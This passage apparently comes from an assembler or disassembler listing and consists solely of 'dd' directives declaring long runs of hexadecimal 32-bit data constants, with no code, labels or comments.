		dd 0E1109E00h, 37E4D511h, 52230083h, 1F33BB6Bh,	9609CDEEh
		dd 12662AFh, 67838505h,	1CA729E4h, 8027F0F3h, 88B57E9Ch
		dd 0FE00A4EDh, 0CD08764Bh, 3B4E5521h, 15A423DEh, 69458E0Ch
		dd 0BBC0194Fh, 1EA2FFF4h, 80461A39h, 975755C4h,	0A0C78F4Ah
		dd 1D7EF0A4h, 80F22AE0h, 0CC265D3Bh, 8E483878h,	764F0418h
		dd 0C806DEDh, 0A8571h, 0B726BCE7h, 0F366303h, 5500E5FAh
		dd 0C73E580Dh, 4AD112h,	6CCFFD2Fh, 0AEB3AF5Fh, 0EA227500h
		dd 0F4CA5E2Eh, 790F58B9h, 0A0932000h, 0EFC6B7FBh, 19EB2503h
		dd 0C87A84C9h, 942DE3h,	7C773EA9h, 31201438h, 0E4406A00h
		dd 0D8854A41h, 45510043h, 0FD79B873h, 0A6008E35h, 0E2243827h
		dd 30A8D67Bh, 0CD118DB4h, 89006AADh, 0AC410BBBh, 17F743Ch
		dd 1CC28421h, 0C59C6758h, 6B302038h, 6EAF7B00h,	318692Bh
		dd 0AD1900DAh, 0F1C84F2Ah, 61007258h, 1AE63F04h, 962F54h
		dd 61CE5CAh, 37133570h,	0C05B2A00h, 0EBEED7A5h,	0B6D207BDh
		dd 0C62E883h, 0FBEE2460h, 0D8D16F02h, 0E3380F72h, 7818C068h
		dd 0C643001h, 61F1E088h, 2560F2F0h, 12601911h, 648D01F4h
		dd 0B6ED6D15h, 656BF0F7h, 0A09F0A0Bh, 61F80739h, 7FF10C03h
		dd 0C3BD0339h, 75FF6790h, 2BBF11C0h, 795608A0h,	0CAB4D60Dh
		dd 0E8F8500Fh, 5F54A87Eh, 9A30F6Eh, 100097C2h, 0C1B895FDh
		dd 86C0E200h, 0CC2AE73Eh, 0B70D1C93h, 39E64644h, 61B0A602h
		dd 0F38D5B0Eh, 3FB0387Eh, 0CBE900C1h, 0BE2901EEh, 1358B522h
		dd 0AF931E8Ch, 0DFF3200h, 2E5EA502h, 1E2D7B37h,	617600F1h
		dd 5CE864CAh, 51964916h, 8590B703h, 0C660FFB9h,	1B3BF65h
		dd 0ABBB7FA7h, 0DCE6F4D9h, 1200F82Eh, 9D5B8872h, 0F692DDA2h
		dd 0B06A3E49h, 1C8E4600h, 71364147h, 655FB41Fh,	0B300D79Eh
		dd 0E993C383h, 486300B0h
		dd 7654FBECh, 0CB001B91h, 0D0EDBC7Ah, 0CFB490h,	0F74E4472h
		dd 6DE9AEF5h, 0E59C0302h, 0E046CBF2h, 0A833C1h,	4E84A232h
		dd 4B7489AAh, 1E07E01Ch, 5BB6817Dh, 0E3410668h,	2C723DC8h
		dd 80F86E81h, 4CCD70Bh,	610CD1E0h, 8E1E89Dh, 0A921C053h
		dd 0F48ACCEFh, 819C943Bh, 9DF2A322h, 272123ACh,	0E9AAE000h
		dd 3452A99h, 76C02E8h, 12B6D02Eh, 228D3C40h, 213908CCh
		dd 2EF642h, 0A28EA095h,	8A1714FDh, 57C40500h, 233AD2F4h
		dd 377B86Dh, 0CD16121Eh, 89804F9Bh, 0E10155C7h,	0BE4D3F07h
		dd 0DEF06C2Ch, 946319C0h, 806BE026h, 0DA7B5AB9h, 14AFCE9h
		dd 0D6D2262h, 0BE667F8Ah, 2EDC0C40h, 10A7186Ah,	169AFB2h
		dd 0B13B6B74h, 108078FFh, 0D0412B55h, 44001113h, 1A9B923h
		dd 0FCC246h, 95D8BDFEh,	0B36CB5CFh, 535FA200h, 0D07BDBC7h
		dd 0B45B007Eh, 14AA2B6Fh, 500021F8h, 16979D8Dh,	0E4E5CDCh
		dd 7E523085h, 459C6F40h, 91008820h, 68DE24C3h, 45BF3ECh
		dd 0DFC5B374h, 3FC0C04Fh, 8C03FEABh, 0AFC47AD9h, 464CC89Ah
		dd 9C5300C9h, 3BBA9D89h, 0D1004FE4h, 0B16E6D40h, 83B220h
		dd 252E841Ah, 0DE896BEFh, 0BCE4613Bh, 78BF0009h, 0C3116053h
		dd 6AC000F2h, 0D45E163Ch, 5C001596h, 0BA48D2AFh, 385B76C7h
		dd 0EA078878h, 2E7316C9h, 4EE781A0h, 7701A78Fh,	0AEF0F517h
		dd 480A541h, 0A8E4DFBh,	5F00FC94h, 1257A8EBh, 688240Ch
		dd 33C3B9B4h, 56011861h, 8225031Bh, 12D46748h, 23E028h
		dd 0FD7EB0F2h, 43F3E185h, 874E0F00h, 57489213h,	0A82B07B2h
		dd 2EE46A75h, 97583F80h, 7000870h, 5FE8D94Ch, 0AA4D7Eh
		dd 0F904BAEh, 9B245962h, 983DF800h, 0BE60645Eh,	3249C0EBh
		dd 34F3058Dh, 450F3879h, 0E013ACD6h, 36515BB7h,	0C96D07E1h
		dd 0C089E0E6h, 4BAB0B8Eh, 2838327Eh, 3C918070h,	5B4119CCh
		dd 0BE5207A7h, 201407C1h, 0BB8D3FBAh, 0CABCFE1Dh, 53C02B80h
		dd 7F2D665Eh, 387005h, 0D8AB34FCh, 617B607Ch, 56023600h
		dd 90413DADh, 57FD1B9Eh, 0CA80A855h, 17014494h,	5402BEAEh
		dd 0BE44BACh, 0F48E00F3h, 44CC3EADh, 97038431h,	0E57E4692h
		dd 7838D8A4h, 0E27BDAh,	89F99A50h, 0BA9E8D3Ch, 53CCBC00h
		dd 0B9FAD688h, 2F780323h, 0BDBF70C3h, 0DB669D98h, 33FF5F00h
		dd 29C77BCDh, 68F1002Ch, 0AE5A59B3h, 7C002ADCh,	0E1D1C31Ch
		dd 3854A8EEh, 9200311Eh, 2C68AE20h, 0B5246379h,	7E04451Ah
		dd 5A87E8D0h, 0E7BA4BD0h, 0FFE5005Ah, 0BCC6F577h, 740094A0h
		dd 431C6105h, 6749D8h, 3BF3422Bh, 0A39D5E1Ah, 804B4C3Eh
		dd 38E4E8DAh, 16FABBC5h, 675444h, 7513C3ACh, 0C900200Dh
		dd 279F41Ch, 0AFA6F2h, 0DF5D1BE8h, 75884964h, 3E94D401h
		dd 0AD71C4F1h, 7917F8h,	0D9EDF587h, 1FF42B26h, 45444C00h
		dd 0EC0FDDBDh, 0BE2D07D2h, 1092BCDEh, 0D416D1C8h, 7C03902h
		dd 86B51093h, 0E68058F8h, 7CAF05F7h, 1289E92h, 0A689DEE0h
		dd 4F59802Ah, 0FDFFAAEBh, 0CE2100A5h, 9C80AE42h, 0F03F024h
		dd 5F54C048h, 6284D874h, 697C1786h, 4FF10A64h, 9BAF09B0h
		dd 1FDC1980h, 0A20086B8h, 6BCD3B27h, 7B75C35h, 0D4C173B9h
		dd 813DB455h, 80D14D04h, 7F669EA0h, 0D38CB5h, 80FE634Fh
		dd 5F1710D2h, 692D512h,	999D7C40h, 9068A6B0h, 0A2225C2Ch
		dd 0B552000h, 0D434B348h, 0B83349h, 948CDF81h, 1F0F4D8Bh
		dd 3A8E61B7h, 0C6BEFF8Ch, 840088DEh, 9EFCB31Dh,	3E1497Dh
		dd 0B308AEBh, 9CDA70Eh,	0CF031690h, 33B3BC83h, 301FAFE8h
		dd 3AA61809h, 0F0582036h, 77BDF8h, 4FC0BEA2h, 61187C1Eh
		dd 7200807Bh, 0F1420F75h, 20C628h, 5AF6338Ch, 5CE5B041h
		dd 9C1F700h, 0A6C3C4FCh, 0CF87003Bh, 249FFAC2h,	2A00AA1Fh
		dd 8B1A9BA0h, 0CD364Bh,	0ECCC4172h, 3A5ED978h, 0AD77E90Fh
		dd 325C6039h, 7B037B4Bh, 8714005Ah, 1AC73598h, 0FCE82C10h
		dd 95120A79h, 8200A172h, 3D795177h, 0E047E8Ch, 5B913B0Bh
		dd 4FA0EEAEh, 9FEA312Ah, 0BD953Eh, 0EFD93454h, 7E6468B9h
		dd 8070C3CDh, 0B48836B2h, 2100FC82h, 0C550E217h, 5063C6E0h
		dd 73CC64h, 6AA1F643h, 0ADCCDDA8h, 85F7F114h, 39E1009Ch
		dd 975A57EFh, 48E8A16Fh, 4CF45FF4h, 690140F5h, 0CD107728h
		dd 6CC8F39Fh, 497D86C4h, 0EF9D9C0Eh, 9569202Fh,	8F8BD8h
		dd 5233B75h, 0D459D75Eh, 0F5A66C00h, 0C49EA32Ch, 0CE40013Dh
		dd 316A4174h, 0ACC084D3h, 84D33365h, 7E7DB9E5h,	302BA2E0h
		dd 0FB303C68h, 150C23DDh, 4A8B5914h, 0A66E0472h, 90F236A2h
		dd 4CADC15Ch, 20A41909h, 0EC08803Ah, 7339368h, 0BDC5816Ah
		dd 2554F0D9h, 3F1991DCh, 0CFE1AFA5h, 94F4DC8h, 9FD01E0Ch
		dd 0B53D3880h, 0B0271D30h, 1218DCB1h, 80440965h, 54975F80h
		dd 0E2816C4h, 10F8A9B5h, 9452C209h, 0B1F4206Ch,	3DB7DDE1h
		dd 0FE808E62h, 0B2CEA44Fh, 890FED13h, 43670Dh, 6F3CD54Bh
		dd 2A78044Ch, 807249C0h, 2292A252h, 0F0E8500Eh,	73D643FAh
		dd 660C99E6h, 0ACC3880h, 0F11DDEF5h, 7A652300h,	0BC35A9B3h
		dd 49A71A3h, 3874889Fh,	5F3C0ADh, 26008CFBh, 4002AF7Dh
		dd 0F847B21h, 0ACBC94B7h, 12FD840h, 8F0074CCh, 79AA641Ch
		dd 7AF96AD0h, 54C60B62h, 4F84A7DCh, 0B09B8280h,	963C7A60h
		dd 1DE76800h, 62916189h, 0D8AC009Eh, 0AE1B72D3h, 7400FA58h
		dd 767AFDC0h, 15C2A31h,	0F8BDC813h, 0C9284D89h,	0E47770ACh
		dd 1312973Dh, 991ED0FBh, 631F7B5Ch, 0C98CF902h,	0B823C318h
		dd 10B9E2h, 1F8E0B47h, 2B4422Dh, 0CD008D71h, 0F723A371h
		dd 1D2A160Fh, 0C7C44D9Bh, 9064ECBDh, 1C252897h,	0E1B30400h
		dd 52FF3ACFh, 66A00083h, 0C9C1034Dh, 6279A3FCh,	11535900h
		dd 7CF2C74Fh, 882100B4h, 0C1F5E670h, 0A4004B8Ch, 8B4668ADh
		dd 2E9FDBB2h, 0EB1815h,	0EB3D175Ah, 8C008DD6h, 22266BFBh
		dd 890A99h, 0D11C347Dh,	0EA0F1EFFh, 80B0AC00h, 0B5781D41h
		dd 320E00B8h, 0C1903A9h, 0F06136Ah, 21A1D326h, 0E116003Eh
		dd 85F3614h, 7400239Ch,	0E5CE5078h, 78F65h, 6FF43CB2h
		dd 0D1288CFDh, 93E948h,	0BB29B938h, 58780969h, 54008B2Bh
		dd 26AC175Ch, 720046CEh, 5A4CE6FCh, 0DC1016DFh,	399FC3A0h
		dd 0EDC097FAh, 30383582h, 9C789F80h, 0C8DD7BBEh, 311F6FCCh
		dd 1BE50793h, 47DD95BCh, 18F496E8h, 9EF85990h, 0EAC2AD00h
		dd 0F50793BEh, 92743Bh,	5796667Fh, 5C40B73Fh, 9F340B00h
		dd 43C3FA0Dh, 0D41E01B9h, 915E85EFh, 4021C0E2h,	4120022Ch
		dd 8FE8003Ch, 0F25AAF3Dh, 41D00BFh, 0EADF2487h,	0DE039DAEh
		dd 0F7E3F16h, 0D2B889Fh, 0BBFB00F5h, 797B9387h,	0D1FFD505h
		dd 6E02E084h, 6447A803h, 0F8EC9AF9h, 7D7215h, 49104032h
		dd 4F03452Dh, 0E8AD3303h, 0D87C8157h, 0B15AEAh,	479B856Ch
		dd 0B097CDA4h, 20A73Ch,	0E7037518h, 9D7C67h, 9ECAED7Dh
		dd 3679FCA2h, 0F100A998h, 1BBEE5C1h, 3A9B8FF6h,	5180F9CEh
		dd 85DE9CBBh, 0D700F5D1h, 0B55FDA84h, 3F006F2h,	0F87D4B3h
		dd 0FCA8011Bh, 0C0C07EE0h, 4A50FDECh, 0F1700005h, 8D03A4EAh
		dd 3000C106h, 0CD5CBB38h, 186D9E1h, 18A5244Dh, 70DBBE79h
		dd 721EDCB9h, 95403E53h, 6D27DEC2h, 7AE400BFh, 5EA09394h
		dd 0B7003AE9h, 7739B982h, 10C53B3h, 0D213950Fh,	0ECB1E491h
		dd 6200785Ch, 0FA610D65h, 0CD69D4h, 309C234Ch, 0EA8E548h
		dd 7E3AA500h, 406CACEh
		dd 0C79200C6h, 0BF88F8C2h, 0E6003B29h, 0A27674E3h, 27833Fh
		dd 0CA9309D6h, 86B315Dh, 97EF861Eh, 0A4DA2F40h,	6D0485h
		dd 1AB92353h, 3E13F5B5h, 0C149E900h, 0BB1C4AAFh, 0A7BC00E2h
		dd 93801437h, 0DA792B20h, 2A9CDE00h, 577D12F7h,	726E007Ch
		dd 9893167h, 281ECC05h,	71D8E064h, 1ED81F78h, 6C87DC32h
		dd 1DE2099Dh, 78842000h, 0B53CB73Bh, 6D147377h,	18C0D90h
		dd 201BA328h, 10810ED0h, 71B5199Ah, 93A880F5h, 35C81FB4h
		dd 7ECE0087h, 5F6A843Ah, 2B1E44C5h, 3CC0E0D4h, 979D5E45h
		dd 0F1910177h, 5CDFD613h, 2041E496h, 0BCE78E00h, 0B201795Fh
		dd 0A1F40CC2h, 4E9994ECh, 80B63B38h, 1D9C117Ah,	2A1E73D0h
		dd 0DC4787h, 466519EFh,	6453AAC6h, 0E3373Eh, 6B30042Dh
		dd 0E5D79Dh, 0C9DAEA72h, 0ADC4A90Ch, 0EE739307h, 78E071BCh
		dd 38F2F84Fh, 0B71DC72Dh, 221308h, 55B97B5Dh, 0E90EE4A8h
		dd 0E0BA769Fh, 1988DC60h, 2364036Fh, 62BF0E8Fh,	316050EAh
		dd 0C14AFB61h, 31A6B0h,	114A2C79h, 83D04633h, 3DA6150Ch
		dd 0EF68E0C7h, 62773C10h, 6EDA1100h, 0C56B821Ch, 80081D2Eh
		dd 22A840EDh, 9079358Dh, 0CB67BF00h, 9CCA3142h,	3C62023Dh
		dd 0A8BD4E1Dh, 0C5CADE0h, 124B0200h, 0A68438EBh, 39352A70h
		dd 3C850094h, 2482523Eh, 16002DDEh, 6F7E4990h, 0E6A110h
		dd 574FE0A7h, 2704211Ah, 1C59E203h, 0AC32CBFEh,	4D7BCC80h
		dd 4C090FB4h, 0EC203901h, 0D047F1DDh, 6499FD17h, 5A0A1900h
		dd 7A15DCh, 0CF69298Ah,	57B38963h, 22899E60h, 7DBE11A9h
		dd 0D8C31DB6h, 4FB900C2h, 5A0F6A6h, 280BC930h, 8C773h
		dd 6423CD88h, 0D61FBD3Fh, 0ECE36518h, 0C990320h, 0EAEE67A3h
		dd 9EB85210h, 749063F8h, 53B03200h, 6838342Ch, 0F00A7FC2h
		dd 988E4D1Ch, 77D6F200h, 81B456B8h, 5802CC00h, 6AC2AA3Bh
		dd 922B384Dh, 0E250FB87h, 7406F03Ah, 671E1530h,	4E9CD41Dh
		dd 0DF541347h, 0B278C110h, 36610012h, 0C7B53E35h, 21007C32h
		dd 91CBCE62h, 0F0E8091Bh, 0F76F68Ch, 3BC5AB67h,	805DD484h
		dd 99E56498h, 4E5CDB00h, 78CF9A75h, 8A1500DFh, 29B46C4Dh
		dd 9400D36Dh, 827EEFCBh, 4A797193h, 0C016C0ADh,	67005A0Bh
		dd 74DA06Ch, 0F0C8CFh, 0E74C0CA7h, 0C50F9FBEh, 1C759A48h
		dd 7C00623Eh, 0AB4E932h, 0EE1707DAh, 73975991h,	0F1882CC1h
		dd 0CC03BBC5h, 2872CAFFh, 0AFE8C8B9h, 4E480004h, 0E3A40D09h
		dd 2300A047h, 799294CCh, 27CFE4h, 0D3FF5824h, 3B186BD6h
		dd 5212A8E2h, 740E7C55h, 0DED2A016h, 597192h, 0ACDD4EC6h
		dd 0E50B01Eh, 9A743Fh, 7CE0D06Bh, 767F6940h, 0FCC3031Ch
		dd 1F9B3470h, 66EA1B88h, 9E2E4300h, 62094017h, 7CDB59C2h
		dd 0F224600Fh, 129B0102h, 34B60068h, 8FAC7818h,	0C14E11h
		dd 0B92442A7h, 4D1DB70Ch, 0C8A9BE01h, 7BE15488h, 8ACC2987h
		dd 2B3D50B2h, 6100241Ah, 660C464Ch, 8347AEh, 4D44D239h
		dd 70A510BFh, 6F11E4A0h, 0C62E2A00h, 43406803h,	29E600ECh
		dd 5C6C07C8h, 2A00FC47h, 0FAA8A394h, 0CA2D8A9h,	7A2C98CAh
		dd 2400F2C0h, 4115C6E6h, 1B9B01Ah, 6725C2B5h, 2454B1F9h
		dd 0EF0014A0h, 7C48E6D0h, 9A73E4h, 20E8903Ah, 466601BCh
		dd 7A45A4Ch, 0EF52D32Eh, 7DE325C0h, 0B6910F82h,	7E81D6C3h
		dd 0C47875D8h, 9003AFFEh, 52DE85F1h, 0C827A997h, 9B0BC180h
		dd 0EB4ABF2h, 5BE6610Ch, 32248E4h, 16C303FFh, 7B9060B7h
		dd 0ED241E28h, 8700FD91h, 20BAAC40h, 0F2A73A7Ah, 57BB6680h
		dd 0E9EF36AAh, 6F00907Eh, 7E581456h, 2AE115h, 733B4191h
		dd 0D3A7F636h, 837D850Eh, 65ABC146h, 0A320393Eh, 1E90EE6Fh
		dd 6867C133h, 0D31500E9h, 408343A6h, 841DFAAAh,	1B8069F6h
		dd 0C0AF8D14h, 971E0BBAh, 488664Ch, 64AC40B0h, 0FCECF7B5h
		dd 520EA000h, 0A989EC80h, 0CCA6006h, 35DD316Bh,	7BEB2701h
		dd 8BC1A361h, 39783560h, 0EE070C6Eh, 704B6BC2h,	0AA0D2EF5h
		dd 13DFDE00h, 0D44FC12Ch, 7B35001Ah, 6C01A69Ch,	7972D921h
		dd 6A0077EAh, 18A19904h, 1A47BFh, 0B11D2DE4h, 0D0BC7B16h
		dd 5949B400h, 170453CFh, 0C2F71DDBh, 0F4533C24h, 2F872A81h
		dd 92F8C483h, 0D6EFB000h, 95E03CEDh, 89AB000Eh,	636D481Ah
		dd 551F11B6h, 6180DC3Fh, 1725ED21h, 58490064h, 14307EB3h
		dd 0E800D9F5h, 4553516Fh, 18BB246Dh, 18F4D271h,	1A019022h
		dd 0B95CB598h, 0A83227F3h, 3CF92426h, 1FF224h, 3AD36652h
		dd 713BBFADh, 9ADC0Ah, 19584CDFh, 0BBBEB2h, 0EC670675h
		dd 5C56D6A5h, 50F8FB0h,	0C077408Dh, 23C9B2FFh, 0F0E82825h
		dd 4AFBE6B0h, 77843BEh,	0B0807EF8h, 9E3D06AFh, 978092A8h
		dd 9604A406h, 50D82210h, 44007678h, 0CBE26EE3h,	8FF4E5h
		dd 87BDFEAFh, 0BC1D6C14h, 0F2E7FF02h, 90CF4C50h, 250A4010h
		dd 0C4028C3Bh, 0A00914DDh, 0AFB7C888h, 47FC00D8h, 94B1648Fh
		dd 0BD1D79ECh, 0F9C05869h, 35E62D3Bh, 4096008Ah, 2A8763C9h
		dd 6807C392h, 41E107EBh, 77B7E317h, 0CEE253B0h,	0B79A0h
		dd 0F6666B8Dh, 91B07124h, 0EDFFBB00h, 1CF5DDCBh, 15D700B4h
		dd 1310AB96h, 2CE28CFAh, 399B6B09h, 0DD3B2BC5h,	0B891DA00h
		dd 8100D90Ah, 8BDFC018h, 0FD191Eh, 0D3970D86h, 0D1ACF1F0h
		dd 56CE0E1Ch, 1C3A00B8h, 0F7275FA0h, 0B4B700AEh, 7EFEDC76h
		dd 0C70549B8h, 90DDD2F8h, 4DCBC400h, 64932Eh, 83B2CDF7h
		dd 20567A03h, 7C15B800h, 0E17EDCBBh, 710938A9h,	0ADC7A6h
		dd 296E64E7h, 89031287h, 2AB0A246h, 0E8029355h,	39C7A78h
		dd 43F9FAC4h, 81ECACD8h, 0CCC3DD1Bh, 0D4134727h, 0D4000588h
		dd 0E1939741h, 0BC254C4Bh, 6523C100h, 0BBF0246Ch, 5E77D103h
		dd 0C8CE0792h, 2286D68h, 0AC1239F6h, 0D60FD80h,	0DCE1F520h
		dd 92001473h, 0BEB1961Dh, 17AB5F89h, 5E54E7h, 0E8EFF528h
		dd 7800E38Fh, 0E60F44Bh, 0DA40FDh, 74DDB022h, 0B9D51B99h
		dd 280D000h, 2D962875h,	16FCB0CFh, 11EFFD7h, 427931E0h
		dd 0F040CDE0h, 0FA7AE6D9h, 78BD9318h, 8AAD68h, 15D62D81h
		dd 5D90A1F6h, 2A121494h, 2C6BD080h, 0C9080087h,	15A835F5h
		dd 2D01DCD5h, 72CB24B8h, 146031E5h, 0BB3E00FFh,	4447981Ch
		dd 0C4B2415Ch, 0B8DF932Eh, 0A5EFEA85h, 187214C0h, 3170FEh
		dd 6BFC4BB4h, 45E9AA03h, 8E5E5316h, 0D2052703h,	7255B85Ch
		dd 0F6FD1E7Dh, 257CC377h, 7E847F0h, 590043E3h, 21753D5Bh
		dd 17A52CFBh, 0F83496Ah, 81C60F2Eh, 0FD001819h,	6FFF7AE1h
		dd 28DFF5h, 0E91A2E3h, 0F124383Eh, 4C3D46E2h, 0F3CD0080h
		dd 7AB1EF01h, 438B0966h, 8000C58Fh, 0FA9657D8h,	9D0E4E98h
		dd 8356C399h, 0B8F2E903h, 39E04CCDh, 1448203Ch,	0CCCAA800h
		dd 1563975h, 0A28CDA26h, 0F7621000h, 0E36E74D9h, 1F4DDCCh
		dd 73076DA7h, 0D755BAE8h, 21C34100h, 0B51FCECh,	0FB6F0014h
		dd 3E13A779h, 0CFFE536Dh, 6B9E4900h, 0D0F6B92Dh, 0DC0B540Ah
		dd 8E1D075Eh, 5FA4DE23h, 0D734080h, 9701674Bh, 0FDA8349Dh
		dd 0E5E4357Eh, 0BB05001Eh, 1CB7133h, 0C2585DA2h, 0FCDD099Ch
		dd 0A3BA80B0h, 586B2FE4h, 37010024h, 59B87BBCh,	7E12F826h
		dd 2F9F40BFh, 0C6EC0135h, 94F35CC9h, 7D07F0E1h,	8F4D900Eh
		dd 609C00D9h, 7BDBB1ACh, 15FA0250h, 0DEA4536Eh,	0D36CB068h
		dd 88634C00h, 1E1945B5h, 0E83F1D54h, 539640D5h,	222C90B8h
		dd 2E80EB04h, 7484F516h
		dd 0A08D860Eh, 6BDD1467h, 6D20330h, 96B259A0h, 1030879Ch
		dd 0E72CA8B9h, 0E6392100h, 98FCD330h, 5D751D63h, 7146C902h
		dd 906FEE87h, 90E5FB69h, 502C2D12h, 1A3C6C07h, 64C55800h
		dd 185C2143h, 53B9BA00h, 78B0F172h, 0A070CDh, 0AB5A50B1h
		dd 4B38801Ch, 3A22C00h,	0F13AA6ACh, 615F0FFCh, 34C053AFh
		dd 5EF8937h, 0C05B9C09h, 128C8370h, 95FF90CBh, 0E61C00B6h
		dd 364B64E4h, 910032EAh, 97D7843Dh, 1EA9A214h, 403A51ACh
		dd 0F3523E0Ch, 750F4334h, 0A004129Ah, 5DEFFE89h, 2A610077h
		dd 6E024988h, 72007CD1h, 0DA5FE9A0h, 0EACDABh, 0D4B14A86h
		dd 34C89507h, 6707600h,	12ADFA7Fh, 0A07C9Eh, 4D91EE27h
		dd 1C90C458h, 300F9C00h, 16F7633Ch, 39B96384h, 47A06B11h
		dd 0D90044ACh, 3DB7831Ch, 0F8E2E65h, 0A073CF12h, 0C9F32900h
		dd 70005302h, 3C09B163h, 7E158D3h, 0C81CFB9h, 9EB4EA47h
		dd 0CEC147E4h, 0D27003Ah, 2A007E02h, 6D2FD0F8h,	6C256Bh
		dd 551A3E78h, 7C28B883h, 5F473017h, 0FA667C00h,	17D763CEh
		dd 991E75h, 17B3F092h, 5C00783Bh, 0A05DC0CDh, 0FF2781h
		dd 30F72377h, 0D81FBE01h, 1E635304h, 0F18091B3h, 962561h
		dd 840DC9A2h, 1044C4DCh, 0EE1FEC00h, 1C88169Ah,	3AEF04C7h
		dd 906D9FA8h, 6AD039C8h, 0F234325h, 0BAF540A8h,	3B40720h
		dd 0D85FAA15h, 36A22DDDh, 8203A470h, 0B4B12BC7h, 721000EAh
		dd 993EA171h, 0B7052D31h, 8B3E8F1h, 5EA501BFh, 0D45F2743h
		dd 10798F16h, 0D83034FAh, 29A2711Eh, 0EB0D0E43h, 0A4E6ED1Ch
		dd 79EA59F9h, 22E91500h, 672588F3h, 0A84BB3h, 465B2148h
		dd 5758A12Bh, 527A020Eh, 48F8DE6Eh, 4DFD5D8h, 61AB2DBh
		dd 55688308h, 0CDD39187h, 807C2862h, 0C5F8B465h, 0F9D00F9h
		dd 89E31F84h, 0E000AF58h, 827DE264h, 0D76D1h, 0F47278B9h
		dd 5BF786BDh, 0CD099400h, 0E599193Eh, 93680075h, 0F922280Ch
		dd 5A0014AEh, 33ECE0E6h, 14FEBA8h, 7F414D15h, 304E0F82h
		dd 17EBE10h, 0C7CA5900h, 0E5468D3Fh, 0EE811EC2h, 6CF003DBh
		dd 20EF9730h, 3C63D972h, 299AF300h, 699FF582h, 0CD500970h
		dd 0B80FF40h, 2B55D5A6h, 6C784D70h, 2AB8F676h, 1B06AEE0h
		dd 6389EC69h, 0B2B7001Eh, 0F44939C1h, 30BA5E97h, 0D1E8E201h
		dd 287E29B4h, 0D25DF0h,	415687CDh, 0AE88151Ah, 631D2003h
		dd 0F8626619h, 71E286h,	11822669h, 32B0FCCh, 0EC2C6300h
		dd 78FDC313h, 0F2795Ah,	0D24AC90h, 495E1BEAh, 4B2E22Ch
		dd 0D7168B00h, 0BF12A7h, 0CCCD62B5h, 0A8EC80C6h, 0ED379B0Fh
		dd 83E84097h, 0C0DE5896h, 0DCDAE058h, 0F0B68C42h, 0F580F69Fh
		dd 0EA864DD3h, 5A97001Ah, 0ADEE6FC1h, 4000A211h, 981EE682h
		dd 4EB651h, 0BE05A1E8h,	0E7D97337h, 0AB448600h,	811AD559h
		dd 57E33E61h, 0F20F2448h, 591DAFBFh, 0E18F1192h, 1469F0D1h
		dd 7C47414Ah, 20D971FAh, 9DAF12A8h, 0E81C79E0h,	344402D9h
		dd 8157F001h, 403A850h,	1B7BE0D3h, 40786Ah, 7F16A89Eh
		dd 0FE4D889Dh, 1C87D51Ch, 1B1326BCh, 0C43DAC2Eh, 0A8760206h
		dd 88DA0443h, 7F903C82h, 7E4478F2h, 2900F771h, 3D2C7612h
		dd 3F007352h, 9E7DD60Bh, 0CDD4055Ah, 0E3F55332h, 0A35037Ch
		dd 0C8BC8D27h, 0EB92BFh, 0A4A95BB3h, 0C98236F7h, 0B9A69D0Ch
		dd 0E04C0Bh, 0AAF88676h, 8040750Ah, 0D119820Eh,	4CC7A599h
		dd 4EC00580h, 0E6091CB8h, 7E0C8044h, 30A8CB3Dh,	92009DF2h
		dd 58BA23E3h, 0DAFCFFh,	0BED341E1h, 0CDB7B98Dh,	111D1EE4h
		dd 0CEC0B094h, 0BCA548ABh, 59F90382h, 0A6E3EF41h, 96D1D390h
		dd 800009Ah, 0C391A7B0h, 6FB4E5h, 0AA25CB68h, 812DEB1Ah
		dd 0EDCA0100h, 0A3C052FAh, 4ED30095h, 1B3F5FDBh, 5D07F435h
		dd 0C6BCFC74h, 546D504Ch, 13EB49Bh, 3F470EE8h, 0FC62E63Ah
		dd 0BCA16194h, 82264h, 5E0F2FB9h, 39AE1E0h, 960EB13Ah
		dd 21007863h, 42B44F24h, 756CA8h, 69CD8986h, 1B7F98CCh
		dd 56F4E100h, 5AB9FC4Ah, 21C7096Dh, 78131993h, 144E2000h
		dd 5EB75663h, 91D23087h, 0CE37A1F9h, 7A00CF73h,	6E6BE7B8h
		dd 0E2C678h, 0ACD1FCB0h, 0E467895Ch, 0CF3E7178h, 6A6418D5h
		dd 7F263299h, 8AE90046h, 2ADEA223h, 4A3BAEE4h, 9E7900DDh
		dd 0FAE143E5h, 0A57F015Dh, 0FC4586F8h, 1EBF60AAh, 14DE2807h
		dd 55500466h, 504CF989h, 3AA465h, 577BD2Fh, 29A984F5h
		dd 0D7679E7Ch, 10307979h, 82C8E5h, 5AFAE0EAh, 1335CEE2h
		dd 74C19003h, 3A4D628Ch, 90083CEh, 0FBA7B885h, 0A15E01DFh
		dd 891420Ch, 5A21C0BDh,	788DFB9Fh, 7CF41E05h, 7380BEA6h
		dd 1E35D5EFh, 4592A287h, 0C0CE66DAh, 0FFAB2FD8h, 4F010A75h
		dd 0B9B08C7Eh, 0C3608508h, 9888303Fh, 3570D758h, 1084B633h
		dd 16DEE8C5h, 0C7A8003Bh, 0DF92D350h, 4000E705h, 985DADAAh
		dd 3A33AE71h, 7D80D923h, 65D1BF8Ch, 536C458Fh, 0DBB848A8h
		dd 9000B96Ah, 579D8D13h, 0C0ACB74Eh, 0D1D683A8h, 867AC9D4h
		dd 0E0300877h, 616D414Fh, 6717A49h, 0CE84AA74h,	6260087Ch
		dd 698E9856h, 9B1B1E49h, 5E360610h, 0B8EA48D3h,	247DC9C0h
		dd 0B79C49h, 351C5209h,	0FBBAB9F7h, 0B6FAD100h,	6E368408h
		dd 0D838C0C9h, 0A4947148h, 0E0D04B01h, 0ECE43F62h, 4D89D8h
		dd 35339798h, 717E9480h, 0A6934Ch, 0FA2A96EAh, 7CFB63Dh
		dd 0C2E81677h, 0B72F0DAh, 3700C0E5h, 0FE609935h, 0AAE10Fh
		dd 0BC66DEDBh, 0EDEC1E4Ch, 0D5B19000h, 7640CCE6h, 89C23C0Eh
		dd 9EB83A00h, 0B3C10A5Bh, 0BA7B4600h, 5A19B54Dh, 0C72000EDh
		dd 627608E6h, 0D900A48Dh, 7F2733CAh, 30873Eh, 0DE3556C6h
		dd 7BAAF623h, 77138E03h, 0A021F01Ah, 0F325Fh, 4ECE46CBh
		dd 3C93EF0Bh, 39C42500h, 2CC2F96Ch, 0E4700737h,	90019F4Fh
		dd 0A5FB8F0Ah, 2E642D00h, 38CEBA27h, 0C6A903E3h, 28CA9D90h
		dd 68E506E0h, 0D1C43400h, 0B41438DEh, 5C9000AFh, 0D5CA0870h
		dd 0DA009B50h, 5F48936Ch, 0E4F48Ah, 3798F972h, 23ED2728h
		dd 0AA800200h, 48AEA8F6h, 0BB9300B5h, 59BCD24Fh, 5D0011EBh
